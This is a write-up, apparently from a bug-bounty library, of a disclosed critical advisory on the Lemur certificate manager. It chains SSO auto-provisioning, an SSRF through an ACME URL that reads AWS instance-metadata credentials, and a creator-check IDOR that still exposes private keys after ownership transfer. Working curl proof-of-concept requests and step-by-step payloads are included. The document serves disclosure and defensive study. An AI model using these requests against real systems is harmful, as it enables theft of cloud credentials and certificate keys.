# Lemur: ACME SSRF + creator-equality IDOR lead to AWS IAM/PKI compromise

Lemur auto-provisions SSO users, fetches attacker-supplied ACME acme_url server-side to AWS IMDS, and lets cert creators re-read private keys after ownership transfer.

- Payout: Research
- Severity: critical
- Program: Lemur
- Found by: im-rootkid
- Disclosed: 2026-06-25
- CVE: CVE-2026-55166
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-v2wp-frmc-5q3v
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-v2wp-frmc-5q3v
- Tags: area:cloud domain:cloud domain:web impact:data-leak impact:internal-access kind:research platform:ghsa sev:critical tech:aws technique:chained technique:source-review vuln:access-control vuln:auth-bypass vuln:idor vuln:ssrf

**Target:** Lemur API (authorities, certificates, SSO auth endpoints)
**Root cause:** Create-authority passes user-supplied acme_url to ClientV2.get_directory with no allowlist or private-IP filter; key-fetch view grants the original creator unconditional access regardless of current owner; SSO callback auto-creates users as active=True.
**Steps:**
1. POST `/api/1/auth/login` with `{"email":"attacker@evil.example","roles":["operator"]}` — account auto-provisioned active=True
2. POST `/api/1/authorities` with `{"name":"poc-acme","plugin":{"plugin_options":[{"name":"acme_url","value":"http://169.254.169.254/latest/meta-data/iam/security-credentials/lemur-acme-role"}]}}` — response body contains AWS-HMAC creds
3. Extract AccessKeyId/SecretAccessKey/Token from `ssrf_response_body`
4. POST `/api/1/certificates` with `{"authority_id":1,"common_name":"pki.netflix.example"}` then GET `/api/1/certificates/1/key` to obtain private key
5. PUT `/api/1/certificates/1` with `{"owner":"victim-admin@netflix.example"}` to transfer ownership
6. GET `/api/1/certificates/1/key` again — still HTTP 200 with the same private key
**How found:** Code review of three sinks: auth/views.py:300-308 auto-provision, acme_handlers.py:161-201 unfiltered get_directory, and certificates/views.py:734 creator branch that bypasses CertificatePermission; recognized the creator check was written before ownership transfer existed.
**Exploitation:** Attacker with any trusted SSO identity gets an active Lemur account, creates an ACME authority whose acme_url points at EC2 IMDS, and reads the worker role's STS credentials from the stored authority object. They then issue a certificate, fetch its private key via the creator branch, transfer ownership to a victim admin to launder the audit trail, and re-fetch the key — which still returns 200 because creator_id is unchanged.
**Escalation:** SSRF-derived worker STS creds enable S3 config bucket access, KMS decrypt of the Lemur key store, and role assumption into trusting AWS accounts; the persistent creator key access survives the standard 'transfer ownership and revoke' remediation.
**Insight:** When an authorization check compares against a mutable 'creator' field while a separate 'owner' field is transferable, the creator branch becomes a permanent backdoor — grep for `!= cert.user`-style creator comparisons in any object with ownership-transfer features. Also: ACME/plugin URL options are classic SSRF sinks because they're expected to be a small vetted set but never enforced.

## Proof of concept (copied exactly from the original report)

**ACME authority creation with IMDS acme_url SSRF**

```
curl -sS -X POST http://127.0.0.1:18000/api/1/authorities \
  -H "Authorization: Bearer $ATTACKER_JWT" \
  -H 'Content-Type: application/json' \
  -d '{"name":"poc-acme","plugin":{"plugin_options":[{"name":"acme_url","value":"http://169.254.169.254/latest/meta-data/iam/security-credentials/lemur-acme-role"}]}}'
```

**Key fetch after ownership transfer returns 200**

```
curl -sS -o /dev/null -w 'HTTP %{http_code}
' \
  http://127.0.0.1:18000/api/1/certificates/1/key \
  -H "Authorization: Bearer $ATTACKER_JWT"
```

**SSO login auto-provisions active attacker account**

```
curl -sS -X POST http://127.0.0.1:18000/api/1/auth/login \
  -H 'Content-Type: application/json' \
  -d '{"email":"attacker@evil.example","roles":["operator"]}'
```

